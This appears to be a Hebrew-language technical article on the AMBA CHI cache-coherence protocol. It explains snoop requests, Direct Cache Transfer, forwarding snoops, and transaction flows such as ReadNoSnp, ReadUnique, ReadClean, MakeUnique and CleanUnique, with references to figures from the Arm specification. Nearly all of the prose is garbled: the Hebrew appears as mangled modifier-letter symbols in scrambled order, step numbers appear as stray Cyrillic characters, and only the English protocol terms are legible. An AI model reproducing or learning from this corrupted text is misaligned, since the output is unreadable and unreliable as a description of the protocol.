 ˠˣ˯ˬ ˢ˷˵˟snoop ˢ ˱˵ˣ˸ ˸˞ ˪˦˟˪ ˸ˡ˰ˣ˧ˬˢ-cache line ˢ ˸ˬˣ˴˟-Snoopee ˵˸ˣ˰ ˪˩ ˪˦˟˪ ˨˩˟ˣ ,

:˨˪˩ˣ˪ˬ 

¶  ˸˟ˣˠ˸ ˫˰ ˫˧ˮˣ˸ˮ ˸˶ˤ˥ˢ ˭˧˞Snoop.˫˧˵˥ˬˮ ˫˧˩˪˩ˣ˪ˬ ˫˧ˮˣ˸ˮ ; 

¶ ˢ ˟˴ˬ˟ ˧ˣˮ˧˷ ˪˷ ˢ˪ˣ˰˲ ˷˥˶˸ˢ˪ ˸˟˧˧˥-cache line ˪-invalid. 

SnpQuery  

 ˠˣ˯ˬ ˢ˷˵˟Snoop ˢ ˟˴ˬ ˸˞ ˵ˣˡ˟˪ ˢ˸˶˦ˬ˷-cache line ˟-Requester: 

¶ s-Home  ˸˷˵˟ ˥ˣ˪˷˪ ˪ˣ˩˧snoop  ˠˣ˯ˬSnpQuery ˢˬ ˢˬ˧˞˸ˬ ˢ˷˵˟ ˪˩ ˞˪˪-Requester. 

¶  ˸˟ˣˠ˸Snoop ˢ ˪˷ ˵˧ˣˡˬˢ ˟˴ˬˢ ˸˞ ˪ˣ˪˩˪ ˸˟˧˧˥-cache line ˟-snoopee .ˡ˰ˣ˧ˬˢ 

¶  ˸˟ˣˠ˸ ˫˰ ˫˧ˮˣ˸ˮ ˶˧ˤ˥ˢ˪ ˭˧˞snoop. 

¶  ˸˧˧˴˵ˤˮ˶˦SnpQuery ˢ ˟˴ˬ ˸˞ ˸ˣˮ˷˪ ˢ˶ˣˬ˞ ˢˮ˧˞-cache line ˟-Snoopee. 

 ˧˶˟˰ˬcache  ˫˧˦˵˷ 

-scache  .˸˩˶˰ˬˢ ˧˟˧˩˶ ˶˞˷˪ ˢ˰ˡˣˢ ˥ˣ˪˷˪ ˧˪˟ˬ ,˫˧˧ˬ˧ˮ˲ ˫˧˰ˣ˶˧˞ ˸ˣ˟˵˰˟ ˣ˟˴ˬ ˸˞ ˸ˣˮ˷˪ ˪ˣ˩˧

 ˶˷˞˩ .˟˴ˬˢ ˧ˣˮ˧˷ ˪˰ ˢ˰˧ˡˣˬ˷ ˢ˧˴˵ˤˮ˶˦ ˞˧˴ˣˢ˪ (ˢ˟ˣ˥ ˭˧˞ ˨˞) ˸ˣ˶˷˲˞ ˸ˬ˧˧˵ ,˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟

ˢ ˟˴ˬ ˪˷ ˶˟˰ˬˢ ,˸˵˲ˮˣˬ ˣˤ˩ ˢ˧˴˵ˤˮ˶˦-cache ˪ ˧ˣ˪ˠ˪ ˨˲ˣˢ-Interconnect˶˟˰ˬ˪ ˟˷˥ˮ ˣˮ˧˞ ˭˩˪ˣ , 

.˦˵˷  ˟˴ˬ ˶˟˰ˬ ˷˥˶˸ˢ˪ ˪ˣ˩˧ ,ˢˬˠˣˡ˪cache ˢ ˨ˣ˸˟ ˦˵˷-RN-F ˸˪ˣ˰˲˟ ,store ˟˴ˬˬ :UC ˪-UD. 
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 ˫˧˶˥˞ ˫˧ˮˣˮˠˮˬˣ ˸ˣ˧˴˵ˤˮ˶˦ ˧ˠˣ˯ 

˟ ˫˧ˬ˧˧˵˷ ˫˧ˮˣˮˠˮˬˣ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ,˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˫˧ˠˣ˯ ˢ˟˶ˢ ˡˣ˰ ˷˧-AMBA CHI ˶˧˟˯˞ ˞˪ ˧ˮ˞ ˪˟˞ ,

 ,ˢˤˢ ˶ˬ˞ˬ˟ ˫˪ˣ˩ ˪˰˭˩ ˦˶˲˞ :˫˧ˮˣˮˠˮˬ ˶˲˯ˬ ˡˣ˰ ˪˰ ˢ˶˴˵˟ 

Direct Cache Transfer (DCT)  

 ˭ˣˮˠˮˬDirect Cache Transfer  ˸ˣ˪ˣ˰˲ ˟˵˰ ˫˶ˠˮ˷ ˢ˧ˢ˷ˢˢ ˭ˬˤ ˸˞ ˸˧˥˲ˢ˪ ˡ˰ˣˮsnoop ˢˤ ˭ˣˮˠˮˬ .

˪ ˢˬˣˡ-Direct Memory Transfer (DMT)˟ ˡ˵ˬ˸ˬ ˨˞ ,-snoop- .˫˧-sDCT ˢ ˧ˮˣ˸ˮ˪ ˶˷˲˞ˬ-snoop 

ˢ ˸ˬˣ˴ ˸˞ ˱ˣ˵˰˪-Home ˸ˬˣ˴ˬ ˸ˣ˶˧˷˧ ˶ˣ˟˰˪ˣ ,Requester ˢ ˪˞ ,˫˧ˣ˯ˬ-Requester  ˞˧˴ˣˢ˷ ˧˶ˣ˵ˬˢ

ˬ ˶ˣˤ˥˪ ˫˧˩˧˶˴ ˫˧ˮˣ˸ˮˢ ˫ˢ˟˷ ˫˧˶˵ˬ˟ ˸˩˶˰ˬˢ ˧˰ˣ˴˧˟ ˸˞ ˳˧˞ˬ˷ ˢˬ .ˢ˷˵˟ˢ ˸˞-Requester- ˫˧

.˫˧ˮˣ˷  ˭ˣˮˠˮˬ ˫ˢ˟˷ ˷ˣˬ˧˷ ˧˶˵ˬDCT  ˪˷ ˫˧˶˵ˬ ˫˧˪˪ˣ˩ ,˪˧˰ˣˬ ˪ˡˣˬ˟ ˢˡˣ˟˰ ˧˯ˬˣ˰ ˪ˣˢ˧ˮˣ ˫˧˪ˣ˰ˮˬ

˭˶˴˧-.˸˧˦˧˶˵ ˞˧ˢ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˸ˣ˶˧ˢˬ ˫ˢ˟ ,˭˩˶˴ 

 ˸˰˟ ˫˧ˮˣ˸ˮˢ ˪ˣ˪˯ˬ ˸ˬˣ˰˪ ˢ˪˧ˠ˶ ˢ˞˧˶˵ ˸˷˵˟˟ ˫˧˶˟ˣ˰ ˫˧ˮˣ˸ˮˢ˷ ˪ˣ˪˯ˬˢ ˭˧˟ ˸ˣˣ˷ˢ˪ ˭˸˧ˮ ,ˢˬˠˣˡ˪

˟ ˷ˣˬ˧˷-DCT: 

¶  ˞˪˪DCT: 

мΦ  ˡ˟˰ˬA ˪ ˢ˞˧˶˵ ˸˷˵˟ ˥˪ˣ˷-Home. 

нΦ ˪ ˢ˪˧˟ˣˬ ˢ˷˵˟ˢ-cache miss ˟-Home. 

оΦ s-Home  ˸˷˵˟ ˥˪ˣ˷snoop  ˡ˟˰ˬ˪Bˢ ˸˞ ˵˧ˤ˥ˬ˷ ,-cache line .˸˧˦ˮˣˣ˪˶ˢ 

пΦ  ˡ˟˰ˬB ˢ ˸ˬˣ˴˪ ˫˧ˮˣ˸ˮˢ ˸˞ ˶˧ˤ˥ˬ-Home. 

рΦ s-Home  ˡ˟˰ˬ˪ ˫˧ˮˣ˸ˮˢ ˸˞ ˶˧ˤ˥ˬAˢ ,-Requester .˧˶ˣ˵ˬˢ 

¶  ˫˰DCT: 

мΦ  ˡ˟˰ˬA ˪ ˢ˞˧˶˵ ˸˷˵˟ ˥˪ˣ˷-Home. 

нΦ ˪ ˢ˪˧˟ˣˬ ˢ˷˵˟ˢ-cache miss ˟-Home. 

оΦ s-Home  ˸˷˵˟ ˥˪ˣ˷snoop ˬ˪ ˡ˟˰Bˢ ˸˶ˣ˷ ˸˞ ˵˧ˤ˥ˬ˷ ,-cache .˸˧˦ˮˣˣ˪˶ˢ 

пΦ  ˡ˟˰ˬB ˢ ˸˞ ˱˵ˣ˰-Home  ˡ˟˰ˬ˪ ˸ˣ˶˧˷˧ ˫˧ˮˣ˸ˮˢ ˸˞ ˥˪ˣ˷ˣAˢ ,-Requester .˧˶ˣ˵ˬˢ 

 ˸ˣ˰˴ˬ˞˟DCT ˪˷ ˢ˶˵ˬ˟ ˢ˧ˢ˷ˢˢ ˭ˬˤ ˸˞ ˶˴˵˪ ˭˸˧ˮ ,snoop hit.˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˸ˣ˪˧˰˧ ˸˞ ˶˲˷˪ˣ , 

˸˶˟˰ˢ )forward (˸ˣ˷˵˟ Snoop  

ˢ ˸˞ ˶˷˲˞˪ ˧ˡ˩˟-DCT ˢ˲˧˯ˣˢ ,CHI-B  ˸˷˵˟ ˭ˣˮˠˮˬ ˸˞Forwarding Snoop˪ ˶˷˲˞ˬ ˢˤ ˭ˣˮˠˮˬ .-

Requesterˢ ˪˷ ˰˴˟ˬˢ ˞ˣˢ˷ ,-snoopˢ ˧ˮˣ˸ˮ ˸˞ ˥ˣ˪˷˪ ,-snoop ˪ ˸ˣ˶˧˷˧-Requester  ˫ˣ˵ˬ˟ ˧˶ˣ˵ˬˢ

ˢ ˨˶ˡ-Home. 

˪ ˸ˣˮ˸˧ˮˢ ˢ˞˧˶˵ ˸ˣ˪ˣ˰˲ ˪˩ ˦˰ˬ˩-Snoop ˪˴ˮ˪ ˸ˣ˪ˣ˩˧ ,˸ˣ˧ˡ˰˪˟ ˸ˣ˞˧˶˵ˣ ˸ˣ˧ˬˣ˦˞ ˸ˣ˧˴˵ˤˮ˶˦ ˦˰ˬ˪ ,

ˢ ˪˷ ˭ˣ˶˸˧ˢ ˸˞-DCT .˫˧˰ˣ˴˧˟ˢ ˶ˣ˲˧˷ˣ ˢ˧ˢ˷ˢˢ ˭ˬˤ ˶ˣ˴˧˵ ˨˶ˣ˴˪ 
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 ˸ˣ˧˴˵ˤˮ˶˦ ˸ˬˠˡˢ 

˸˧˧˴˵ˤˮ˶˦ ˢ˞˧˶˵ ReadNoSnp ˞˪˪ DMT ˣ˞ DCT  

˶ˣ˧˞˟ B5.5 ˸ˠ˴ˣˬ ˢˬˠˣˡ ˪-flow ˪˷ ˸˧˧˴˵ˤˮ˶˦ ReadNoSnp ˢˮ˧˞˷ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˧ˮˣˮˠˮˬ˟ DMT x˞ DCT: 

[Figure B5 5 ReadNoSnp transaction flow from AMBA CHI Architecture Specification (developer.arm.com)] 

ˢ˶˵ˬ˟ ˢˤ ,˸˧˧˴˵ˤˮ˶˦˪ ReadNoSnp ˶ˡˠˣˬ ˢˡ˷ˢ ExpCompAck ˢ˷˵˟˟ ˸˧˶ˣ˵ˬˢ ,˭˩˪ ˢˤ ˟˧˧˥ˬ ˷-

Requester 0 ˥˪˷˧ ˱ˣ˯˟ ˨˧˪ˢ˸ˢ ˸˰ˡˣˢ CompAck .ˢ˧˴˵ˤˮ˶˦ˢ ˢˮ˧˞ ˸ˬ˶ˣˠ ˪-snooping ,˭ˣˣ˧˩ˬ 

˫˧ˮˣ˸ˮˢ˷ ˫˧˪˟˵˸ˬ ˸ˣ˶˧˷˧ ˭ˣ˶˩˧ˤˢˬ ˨˶ˡ s-Home ,˸˞ˤ ˫ˣ˷ˬ ˢ˷˵˟ˢ˷ ˸˶ˡˠˣˬ ˩-NoSnp. 

˨˧˪ˢ˸ ˢˡˣ˟˰ˢ ˪˷ ˸˧˧˴˵ˤˮ˶˦ ReadNoSnp ˰˴˟˸ˬ ˫˧˟˪˷˟ ˫˧˞˟ˢ: 

мΦ s-Requester 0 ˵˧˲ˮˬ ˸˷˵˟ ReadNoSnp ,˶˷˞˩ ˢˡ˷ˢ ExpCompAck ˶ˡˠˣˬ ˪-м .˶ˬˣ˪˩ ,-s

Home ˨˧˶˴ ˸ˣ˲˴˪ ˸˟ˣˠ˸˪ ˢˬ˪˷ˢ ˱ˣ˯˟ ˨˧˪ˢ˸ˢ. 

нΦ s-Home ˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ ,ˢ˴˵ˬ ˸˞ ˢ˷˵˟ˢ ˥˪ˣ˷ˣ ˸˞ ˸˷˵˟ ReadNoSnp ˪-Subordinate. 

оΦ s-Subordinate ˶˧ˤ˥ˬ ˸˟ˣˠ˸ CompData_I ˪˞ s-Home. 

пΦ s-Home ˶˧ˤ˥ˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˣ˪˟˵˸ˢ˷ ˪-Requester 0) .˫˞ ˢˡ˷ˢ ExpCompAck ˞˪ ˢ˧ˢ ˶ˡˠˣˬ 

ˢ˷˵˟˟ ˸˧˶ˣ˵ˬˢ ˪˷ ReadNoSnp ,-sHome ˢ˧ˢ ˪ˣ˩˧ ˪˦˟˪ ˸˞ ˸˞˴˵ˢ ˢ˷˵˟ˢ ˟˪˷˟ ˢˤ.( 
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рΦ s-Requester 0 ˫˧˧˯ˬ ˸˞ ˨˧˪ˢ˸ˢ ˪˰ ˧ˡ˧ ˪ˣ˦˧˟ ˸˞˴˵ˢ ˢ˷˵˟ˢ ,˥˪ˣ˷ˣ ˸˞ ˸˰ˡˣˢ CompAck ˪-

Home .ˢ˟ˣ˷˸˟ ˢ˰˧ˠˬ˷ ˢ˰ˡˣˢ˟ CompData_I ˢˬ-Home ,ˤ˞ Requester 0 ˞˪ ˪ˣ˩˧ ˶ˣˬ˷˪ ˸˞ 

˫˧ˮˣ˸ˮˢ ˢ˶ˣ˴˟ ˸˧˦ˮ˶ˢˣ˵ )˪˪ˠ˟ ˞˪˷ ˢ˷˰ˮ snoop ˨˧˪ˢ˸˟ ˢ˧˴˵ˤˮ˶˦ˢ .(˭˩˪ ,˫ˠ ˶ˣ˧˞˟ ,˰ˡ˧ˬˢ 

˶˟˰ˣˬ˷ ˞˪ ˨˧˶˴ ˶ˬ˷˧ˢ˪ ˟-Requester 0 ˱ˣ˯˟ ˪˩ ˢ˧˴˵ˤˮ˶˦ˢ ,ˢ˞˴ˣ˸˩ ˨˩ˬ ˞ˣˢ ñ˶˟ˣ˰ò ˟˴ˬˬ 

invalid ˪-invalid. 

сΦ s-Home ˪˟˵ˬ ˸˞ ˸˟ˣˠ˸ CompAck ˬ-Requester 0 ˪˦˟ˬˣ ˸˞ ˸˞˴˵ˢ ˢ˷˵˟ˢ. 

 

 ˸˟ˣˠ˸ ˫˰ ˢ˞˧˶˵ ˸˧˧˴˵ˤˮ˶˦snoop  ˭ˣ˶˩˧ˤ ˭ˣ˩ˡ˰ ˞˪˪ ˫˧˧˵˪˥ ˫˧ˮˣ˸ˮˣ 

ˢˬˠˣˡ ˠˣ˯˪ ˢ˧˴˵ˤˮ˶˦ ˣˤ˩ ˞˧ˢ s-ReadUnique .˶ˣ˧˞ B5.6 ˠ˧˴ˬ ˸˞ ˸ˬ˧˶ˤ ˢ˧˴˵ˤˮ˶˦ˢ ,˶˷˞˩ ˫˧ˮˣ˸ˮˢ 

˫˧˶˟˰ˣˬˢ ˫˧ˮˬˣ˯ˬ ˢ˷ˠˡˢ˟: 

 

[Figure B5 6 ReadUnique with partial data snoop response from AMBA CHI Architecture Specification (developer.arm.com)] 
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мΦ ˟˪˷ ˢ˷˵˟ˢ :Requester 0 ˥˪ˣ˷ ˸˷˵˟ ReadUnique ˪˞ s-Home. 

нΦ ˸˴˲ˢ ˢ˷˵˟ˢ :-sHome ˥˪ˣ˷ ˸ˣ˷˵˟ ReadNoSnp ˪˞ s-Subordinate ˪˧˟˵ˬ˟ˣ ˥˪ˣ˷ ˸ˣ˷˵˟ 

SnpUnique ˪˞ Requester 1 x-Requester 2 ,˪˪ˠ˟ ˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˷˧˷ ˫ˢ˪ ˫˧˵˸ˣ˰ ˪˷ ˫˧ˮˣ˸ˮˢ ˟-

cache ˫ˢ˪˷. 

оΦ ˢ˟ˣˠ˸ ˬ-Requester 1 :-sRequester 1 ,˷˧˷ x˪ ˸˞ ˫˧ˮˣ˸ˮˢ ˟˴ˬ˟ UDP ,ˢˮ˷ˬ ˸˞ ˟˴ˬ s-cache 

line ˣ˪˷ ˟˴ˬ˪ I ˥˪ˣ˷ˣ ˪-Home ˸˟ˣˠ˸ SnpRespDataPtl_I_PD .˶ˬˣ˪˩ ,˸˟ˣˠ˸ snoop ˫˰ ˫˧ˮˣ˸ˮ 

˫˧˧˵˪˥ ˟˴ˬˣ ˪˷ Invalid. 

пΦ ˢ˟ˣˠ˸ ˬ-Requester 2 :-sRequester 2 ,˭˧˞˷ x˪ ˸˞ ˫˧ˮˣ˸ˮˢ ,˶˧ˤ˥ˬ ˸˟ˣˠ˸ SnpResp_I .˶ˬˣ˪˩ ,

˸˟ˣˠ˸ snoop ˢ˦ˣ˷˲ ˸ˮ˧˧˴ˬˢ ˫˧ˮˣ˸ˮˢ˷ ˫ˮ˧˞ ˫˧˞˴ˬˮ ˟-cache ˣ˪˷ )x˞ ˷˧˷ x˪ ˫˧ˮˣ˸ˮ ˟˴ˬ˟ 

Invalid ˪˟˞ ˢˤ ˣ˪˧˞˩ ˭˧˞ x˪ ˫˧ˮˣ˸ˮ.( 

рΦ ˢ˟ˣˠ˸ ˬ-Subordinate :˪˧˟˵ˬ˟ ,-sSubordinate ˶˧ˤ˥ˬ ˸˟ˣˠ˸ CompData_I ˸˷˵˟˪ ReadNoSnp 

˟˪˷ˬ н. 

сΦ ˠˣˤ˧ˬ ˫˧ˮˣ˸ˮˢ :-sHome ˠˤˬˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˣ˪˟˵˸ˢ˷ ˬ-Requester 1 )˫˧ˮˣ˸ˮˢ ˫˧˧˵˪˥ˢ ,(ˡ˥˧ ˫˰ 

˫˧ˮˣ˸ˮˢ ˣ˪˟˵˸ˢ˷ ˢˬ-Subordinate. 

тΦ ˸˥˧˪˷ ˫˧ˮˣ˸ˮˢ ˪-Requester 0 :˶˥˞˪ ˠˣˤ˧ˬˢ ,-sHome ˥˪ˣ˷ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧˞˪ˬˢ .˸˰˩ ,˟˴ˬ˟ 

CompData_UD_PD  ,-˪Requester 0 ,ˢˮ˷ˬ˷ ˸˞ ˟˴ˬ s-cache line ˣ˪˷ ˬ-I ˪-UD. 

уΦ ˸ˬ˪˷ˢ ˢ˧˴˵ˤˮ˶˦ˢ :Requester 0 ˥˪ˣ˷ ˪-Home ˸˟ˣˠ˸ CompAck ,˸˶˷˞ˬˢ ˸˞ ˸˪˟˵ ˫˧ˮˣ˸ˮˢ 

˫ˣ˧˯ˣ ˢ˧˴˵ˤˮ˶˦ˢ ˢ˥˪˴ˢ˟ .˟˪˷˟ˣ ˢˤ ,-sHome ˪ˣ˩˧ ˰˴˟˪ deallocate ˢ˷˵˟˪) .Requester 0 

˟˧ˣ˥ˬ ˥ˣ˪˷˪ ˸˟ˣˠ˸ CompAck ,˪˪ˠ˟ ˸˷˵˟˪˷ ReadUnique ˟˧˧˥ ˢˡ˷ˢ ExpCompAck ˸ˣ˧ˢ˪ 

˵ˣ˪ˡ.( 
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 ˸˟ˣˠ˸ ˫˰ ˢ˞˧˶˵ ˸˧˧˴˵ˤˮ˶˦snoop  ˭ˣ˶˩˧ˤ ˭ˣ˩ˡ˰ˣ ˫˧˧˵˪˥ ˫˧ˮˣ˸ˮ ˫˰ 

ˢˬˠˣˡ ˪-flow ˪˷ ˢ˧˴˵ˤˮ˶˦ ˠˣ˯ˬ ˢˤ ˞˧ˢ ˸˧˧˴˵ˤˮ˶˦ ReadClean. ˶ˣ˧˞˟ B5.7 ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ s-flow 

˞˪ˬˢ ˪˷ ˢ˧˴˵ˤˮ˶˦ˢ: 

[Figure B5 7 ReadClean with partial data snoop response from AMBA CHI Architecture Specification (developer.arm.com)] 

˫˧˟˪˷ˢ ˸˧˧˴˵ˤˮ˶˦˟ ReadClean ˫˰ ˸˟ˣˠ˸ Snoop ˫˰ ˫˧ˮˣ˸ˮ ˟˴ˬ˟ Ptl )˧˵˪˥:( 

мΦ ˸˥˧˪˷ ˢ˷˵˟ :Requester 0 ˥˪ˣ˷ ˸˷˵˟ ReadClean ˪˞ s-Home. 

нΦ ˸˴˲ˢ ˸ˣ˷˵˟ :-sHome ˳˧˲ˬ ˸ˣ˷˵˟ ReadNoSnp ˪˞ s-Subordinate ,˫ˠˣ ˳˧˲ˬ ˸ˣ˷˵˟ SnpClean 

˪˞ Requester 1 x-Requester 2. 

оΦ ˸˟ˣˠ˸ Requester 1 :-sRequester 1 ˪˟˵ˬ ˸˞ ˸˷˵˟ s-Snoop ,˶˧˟˰ˬ ˸˞ s-cache line ˟˴ˬˬ 

UDP ˟˴ˬ˪ I ,˶˥˞˪ˣ ˭˩ˬ ˶˧ˤ˥ˬ ˪-Home ˸˟ˣˠ˸ SnpRespDataPtl_I_PD ,˸˪˪ˣ˩ˢ ˫˧ˮˣ˸ˮ ˫˧˧˵˪˥. 

пΦ ˸˟ˣˠ˸ Requester 2 :˸ˬˣ˴ Requester 2 ˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ ˶˧ˤ˥ˬˣ ˪-Home ˸˟ˣˠ˸ SnpResp_I ,

ˢ˸ˣ˰ˬ˷ˬ˷ ˭˧˞˷ x˪ ˫˧ˮˣ˸ˮ ˶˧ˤ˥ˢ˪ )˟˴ˬ Invalid.( 

рΦ ˸˟ˣˠ˸ s-Subordinate :˪˧˟˵ˬ˟ ,-sSubordinate ˶˧ˤ˥ˬ ˪-Home ˸˞ ˢ˟ˣˠ˸ˢ CompData_I ,

˸˪˪ˣ˩ˢ ˫˧ˮˣ˸ˮ ˫˧˞˪ˬ ˟˴ˬ˟ Invalid. 
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сΦ ˠˣˤ˧ˬ ˫˧ˮˣ˸ˮ :-sHome ˪˟˵ˬ ˸˞ ˸ˣ˟ˣˠ˸ˢ ˢˬ-Subordinate ˬx-Requester 1 ,ˠˤˬˬˣ ˸˞ ˫˧ˮˣ˸ˮˢ 

ˣ˪˟˵˸ˢ˷ )˫˧ˮˣ˸ˮˢ ˫˧˞˪ˬˢ ˢˬ-Subordinate ˪˟˞ ˞˪ ˪˩ ˰ˡ˧ˬˢ ˫ˢ˟ ˧ˮ˩ˡ˰ ˫˧ˮˣ˸ˮˢˣ ˫˧˧˵˪˥ˢ ˬ-

Requester 1.( 

тΦ ˸˥˧˪˷ ˫˧ˮˣ˸ˮˢ :-sHome ˥˪ˣ˷ CompData_UC ˪-Requester 0 ,˵˧˲ˮˬˣ ˸˷˵˟ WriteNoSnp ˪˞ 

-sSubordinate ˧ˡ˩ ˭˩ˡ˰˪ ˸˞ ˭ˣ˶˩˧ˤˢ. 

уΦ ˷˩-Requester 0 ˪˟˵ˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˢˬ-Home ,˞ˣˢ ˶˧˟˰ˬ ˸˞ s-cache line ˣ˪˷ ˟˴ˬˬ I ˟˴ˬ˪ 

UC .˶˥˞˪ ˭˩ˬ ,˞ˣˢ ˶ˡ˷ˬ ˸˟ˣˠ˸ CompAck ˪-Home ˧ˡ˩ ˭˧˧˴˪ ˢ˧˴˵ˤˮ˶˦ˢ˷ ˢˬ˪˷ˣˢ ˢ˥˪˴ˢ˟ .

)Requester 0 ˟˧˧ˣ˥ˬ ˥ˣ˪˷˪ ˸˟ˣˠ˸ CompAck ,˪˪ˠ˟ ˸˷˵˟˪˷ ReadClean ˟˧˧˥ ˢˡ˷ˢ 

ExpCompAck ˸ˣ˧ˢ˪ ˵ˣ˪ˡ.( 

фΦ s-Subordinate ˵˧˲ˮˬ CompDBIDResp ˪-Home ˢ˟ˣˠ˸˩ ˢ˷˵˟˪ ˟˪˷˟ т. 

млΦ ˸˥˧˪˷ ˫˧ˮˣ˸ˮ ˫˧˧˲ˣ˯ :-sHome ˥˪ˣ˷ ˫˧ˮˣ˸ˮ ˪-Subordinate ˸ˣ˰˴ˬ˞˟ NCBWrData .˶˥˞˪ ˭˩ˬ ,

˞ˣˢ ˫˧˧˯ˬ ˸˞ ˢ˧˴˵ˤˮ˶˦ˢ ˰˴˟ˬˣ deallocate ˢ˷˵˟˪. 

 ˸˧˧˴˵ˤˮ˶˦Dataless  ˭ˣ˶˩˧ˤ ˭ˣ˩ˡ˰ ˞˪˪ 

ˢˬˠˣˡ ˪-flow ˪˷ ˮ˶˦ˢ˧˴˵ˤ ˠˣ˯ˬ ˢˤ ˞˧ˢ ˸˧˧˴˵ˤˮ˶˦ MakeUnique ,ˢ˟˷ ˞˪ ˰˴˟˸ˬ ˭ˣ˩ˡ˰ ˭ˣ˶˩˧ˤ˟ ,

˞˪˞ ˵˶ ˸˵ˣˤ˥˸ ˟˴ˬ s-cache. 

 
[Figure B5 11 MakeUnique without memory update from AMBA CHI Architecture Specification (developer.arm.com)] 
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˸˥˧˪˷ ˢ˷˵˟ :Requester 0 ˥˪ˣ˷ ˢ˷˵˟ ˠˣ˯ˬ MakeUnique ˪˞ s-Home. 

мΦ ˸˴˲ˢ ˸ˣ˷˵˟ SnpMakeInvalid :-sHome ˶ˡ˷ˬ ˸ˣ˷˵˟ SnpMakeInvalid ˪-Requester 1 ˪x-

Requester 2 ,˭˸˶˦ˬ˷ ˪˦˟˪ ˸˞ ˱˵ˣ˸ s-cache line ˟-node-˫˧ ˢ˪˞ˢ. 

нΦ ˷˩-Requester 1 x-Requester 2 ˫˧˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ SnpMakeInvalid )˪˩ ˡ˥˞ ˡ˶˲ˮ˟ ,(˫ˢ 

˫˧ˮ˷ˬ ˸˞ ˟˴ˬˢ s-cache line ˬ-UC ˪-I .˶˥˞˪ˣ ˭˩ˬ ˪˩ ˡ˥˞ ˫ˢˬ ˶˧ˤ˥ˬ ˪-Home ˸ˣ˟ˣˠ˸ 

SnpResp_I ,˰˧ˡˣˬ˷ ˢ˷-cache line ˫ˢ˪˷ ˟˴ˬ˟ Invalid. 

оΦ ˶˥˞˪ ˸˪˟˵ н ˸ˣ˟ˣˠ˸ˢ ˪˷ Requester 1 x-Requester 2 ˟˪˷˟ о ,-sHome ˥˪ˣ˷ ˪-Requester 0 

˸˟ˣˠ˸ Comp_UC ˸ˮ˧˧˴ˬ˷ ˢ˷˵˟ˢ˷ ˢˬ˪˷ˣˢ ˢ˥˪˴ˢ˟. 

пΦ ˷˩-Requester 0 ˪˟˵ˬ ˸˞ s-Comp_UC ˢˬ-Home ˞ˣˢ ˨˧˶˴ ˭˩ˡ˰˪ ˸˞ ˟˴ˬ s-cache line ˷˧˷ x˪ 

-ˬI ˪-UD ,˶˥˞˪ ˭˩ˬ ˞ˣˢ ˶˷˞ˬ ˸˞ ˸˪˟˵ ˢ˰ˡˣˢˢ ˪˰ ˧ˡ˧ ˸˥˧˪˷ ˸˟ˣˠ˸ CompAck ˪-Home ,˨˩˟ˣ 

˭˧˧˴ˬ ˢ˧˴˵ˤˮ˶˦ˢ˷ ˢˬ˧˧˸˯ˢ ˢ˥˪˴ˢ˟) .Requester 0 ˟˧˧ˣ˥ˬ ˥ˣ˪˷˪ ˸˟ˣˠ˸ CompAck ˪˪ˠ˟ 

˸˷˵˟˪˷ ReadClean ˟˧˧˥ ˢˡ˷ˢ ExpCompAck ˸ˣ˧ˢ˪ ˵ˣ˪ˡ.( 

рΦ ˢ˷˩-Home ˪˟˵ˬ ˸˞ s-CompAck ,˞ˣˢ ˪ˣ˩˧ ˫˧˧˯˪ ˸˞ ˢ˧˴˵ˤˮ˶˦ˢ ˞ˣˢˣ ˰˴˟ˬ deallocate 

ˢ˷˵˟˪. 

 ˸˧˧˴˵ˤˮ˶˦Dataless  ˭ˣ˶˩˧ˤ ˭ˣ˩ˡ˰ ˫˰ 

ˢˬˠˣˡ ˢ˧˴˵ˤˮ˶˦˪ ˠˣ˯ˬ ˢˤ ˞˧ˢ CleanUnique ,ˢ˟˷ ˰˴˟˸ˬ ˭ˣ˩ˡ˰ ˭ˣ˶˩˧ˤ ˨˞ ˭˧˞ ˸˶˟˰ˢ ˫˧ˮˣ˸ˮ 

ˢ˧˴˵ˤˮ˶˦˟ ˢˬ˴˰. 

 
[Figure B5 12 CleanUnique with memory update from AMBA CHI Architecture Specification (developer.arm.com)] 
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˫˧˟˪˷ˢ ˸ˬ˧˶ˤ˟ ˢ˧˴˵ˤˮ˶˦ˢ CleanUnique ˫˰ ˭ˣ˩ˡ˰ ˭ˣ˶˩˧ˤ ˧˲˩ ˫˧ˠ˴ˣˬ˷ ˶ˣ˧˞˟ B5.12: 

мΦ ˸˥˧˪˷ ˢ˷˵˟ :Requester 0 ˥˪ˣ˷ ˸˷˵˟ CleanUnique ˪˞ s-Home. 

нΦ ˸˥˧˪˷ ˸ˣ˷˵˟ SnpCleanInvalid :-sHome ˶ˡ˷ˬ ˸ˣ˷˵˟ SnpCleanInvalid ˪-Requester 1 x-

Requester 2 ,˭˸˶˦ˬ˷ ˸ˣ˵ˮ˪ ˪˦˟˪ˣ ˸˞ ˱˵ˣ˸ s-cache line ˫˧˸ˬ˴˟ ˣ˪˞. 

оΦ ˶˥˞˪ ˢ˷˵˟ˢ˷ ˢ˰˧ˠˬ ˪-Requester 1 ,˞ˣˢ ˢˮ˷ˬ ˸˞ ˟˴ˬˢ ˪˷ s-cache line ˟˴ˬˬ SD ˪-I .˶˥˞˪ 

˭˩ˬ ˞ˣˢ ˶˧ˤ˥ˬ ˪-Home ˸˟ˣˠ˸ SnpRespData_I_PD ,ˢ˪˧˩ˬˢ ˫˧ˮˣ˸ˮ ˫˧˧˵˪˥ ˟˴ˬ˟ Invalid. 

пΦ ˢ˟ˣˠ˸ˢ˷˩ SnpRespData_I_PD ˢ˰˧ˠˬ ˬ-Requester 1 ˪˞ s-Home ,-sHome ˶ˡ˷ˬ ˸˷˵˟ 

WriteNoSnp ˪-Subordinate ˧ˡ˩ ˭˩ˡ˰˪ ˸˞ ˭ˣ˶˩˧ˤˢ. 

